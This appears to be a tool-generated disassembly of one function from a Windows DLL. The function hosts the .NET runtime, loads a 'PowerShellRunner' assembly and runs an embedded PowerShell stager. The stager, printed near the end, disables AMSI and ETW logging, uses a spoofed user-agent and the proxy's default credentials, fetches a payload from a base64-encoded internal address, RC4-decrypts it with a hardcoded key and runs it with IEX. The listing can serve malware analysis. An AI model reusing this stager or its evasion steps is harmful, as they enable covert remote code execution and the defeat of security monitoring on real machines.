Function at 0x180036e05
Capabilities:
Load windows common language runtime
Reference http user-agent string

Disassembly:
jmp 0x180040860
push rbp
push rdi
sub rsp, 0x3b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1800d912a]
call fcn.180037e4f
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
xor edx, edx
lea rcx, [rbp + 0x88]
call fcn.180036bf3
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.180038106
lea rdx, [0x1800acba8]
lea rcx, [rbp + 0xc8]
call fcn.180036b71
xor edx, edx
lea rcx, [rbp + 0xe8]
call fcn.1800372d3
lea rdx, str.PowerShellRunner.PowerShellRunner
lea rcx, [rbp + 0x108]
call fcn.180036b71
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.180036428
lea rcx, [rbp + 0x28]
call fcn.180036d4c
mov r8, rax
lea rdx, [0x1800acb60]
lea rcx, [0x1800ac2c0]
call fcn.18003658b
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x18004093e
mov edx, dword [rbp + 4]
lea rcx, str.CLRCreateInstance_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x48]
call fcn.180035d16
mov rcx, qword [rbp + 0x28]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov r9, rax
lea r8, [0x1800acb78]
lea rdx, str.v4.0.30319
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x378]
call qword [rax + SafeArrayCopy]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040991
mov edx, dword [rbp + 4]
lea rcx, str.ICLRMetaHost::GetRuntime_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
lea rdx, [rbp + 0x144]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x50]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1800409c3
mov edx, dword [rbp + 4]
lea rcx, str.ICLRRuntimeInfo::IsLoadable_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
cmp dword [rbp + 0x144], 0
jne 0x1800409dd
lea rcx, str..NET_runtime_v2.0.50727_cannot_be_loaded_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x68]
call fcn.1800357e9
mov rcx, qword [rbp + 0x48]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov r9, rax
lea r8, [0x1800acb90]
lea rdx, [0x1800abd08]
mov rcx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x378]
call qword [rax + 0x48]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040a30
mov edx, dword [rbp + 4]
lea rcx, str.ICLRRuntimeInfo::GetInterface_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x50]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040a5b
mov edx, dword [rbp + 4]
lea rcx, str.CLR_failed_to_start_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x88]
call fcn.180037eb8
mov rcx, qword [rbp + 0x68]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov rdx, rax
mov rcx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x378]
call qword [rax + 0x68]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040aa3
mov edx, dword [rbp + 4]
lea rcx, str.ICorRuntimeHost::GetDefaultDomain_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x88]
call fcn.180035bfe
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0xa8]
call fcn.18003543d
mov rcx, rax
call fcn.180035618
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x380], rcx
mov r8, rax
lea rdx, [0x1800acb48]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x380]
call qword [rax]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040b12
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_get_default_AppDomain_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
call fcn.1800379e5
mov eax, 8
imul rax, rax, 0
mov dword [rbp + rax + 0x168], 0x3800
mov eax, 8
imul rax, rax, 0
mov dword [rbp + rax + 0x16c], 0
lea r8, [rbp + 0x168]
mov edx, 1
mov cx, 0x11
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov qword [rbp + 0x188], rax
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
mov r8d, 0x3800
lea rdx, section..data
mov rax, qword [rbp + 0x188]
mov rcx, qword [rax + 0x10]
call fcn.1800366e4
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
lea rcx, [rbp + 0xa8]
call fcn.1800363f6
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0xe8]
call fcn.1800362ca
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x380], rcx
mov r8, rax
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x380]
call qword [rax + 0x168]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040bfe
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_load_the_assembly_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0xe8]
call fcn.180036dec
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0x128]
call fcn.180036a9a
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x108]
call fcn.180037df5
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x388], rcx
mov rdx, qword [rbp + 0x380]
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x388]
call qword [rax + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040c7c
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_get_the_Type_interface_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rax, str.If__PSVersionTable.PSVersion.Major__ge_3__Ref_Ref_.Assembly.GetType_System.Management.Automation.AmsiUtils___Ref.GetField_amsiInitFailed_NonPublic_Static_.Setvalue__Null__true___System.Diagnostics.Eventing.EventProvider_.GetField_m_enabled_NonPublic_Instance_.SetValue__Ref_.Assembly.GetType_System.Management.Automation.Tracing.PSEtwLogProvider_.GetField_etwProvider_NonPublic_Static_.GetValue__null__0____System.Net.ServicePointManager_::Expect100Continue0__wcNew_Object_System.Net.WebClient__uMozilla_5.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_Gecko__ser___Text.Encoding_::Unicode.GetString__Convert_::FromBase64String_aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAuADEAMQA6ADEAMwAzADYA_____t_news.php__wc.Headers.Add_User_Agent__u___wc.Proxy_System.Net.WebRequest_::DefaultWebProxy__wc.Proxy.Credentials___System.Net.CredentialCache_::DefaultNetworkCredentials__Script:Proxy___wc.Proxy__K_System.Text.Encoding_::ASCII.GetBytes__H43__I_x_QiX5qaPo1zd_MuK_Tv___R_D__K_Args__S0..255_0..255__J__J_S_____K_____K.Count___256__S______S__J__S__J___S______D__I__I1__256__H__H_S__I___256__S__I___S__H__S__H___S__I_____bxor_S___S__I__S__H___256___wc.Headers.Add__Cookie___PDHzpMd_oXlzSFSLXTH2t79GBWz2V8P6jM____data_wc.DownloadData__ser_t___iv_data_0..3___data_data_4.._data.length___join_Char______R__data___IV_K__IEX
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x348]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x128]
mov rcx, qword [rbp + 0x368]
call fcn.180037cba
mov r8, qword [rbp + 0x1a8]
lea rdx, [0x1800b0d58]
mov rcx, rax
call fcn.18003716b
cmp qword [rbp + 0x28], 0
je 0x180040cde
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x28]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x28], 0
cmp qword [rbp + 0x48], 0
je 0x180040cfb
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x68], 0
je 0x180040d18
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x68], 0
lea rcx, [rbp + 0x128]
call fcn.18003729c
lea rcx, [rbp + 0x108]
call fcn.18003777e
lea rcx, [rbp + 0xe8]
call fcn.18003820a
lea rcx, [rbp + 0xc8]
call fcn.18003777e
lea rcx, [rbp + 0xa8]
call fcn.1800363a6
lea rcx, [rbp + 0x88]
call fcn.1800358ed
lea rcx, [rbp - 0x20]
lea rdx, [0x1800ac7b8]
call fcn.180037648
lea rsp, [rbp + 0x398]
pop rdi
pop rbp
ret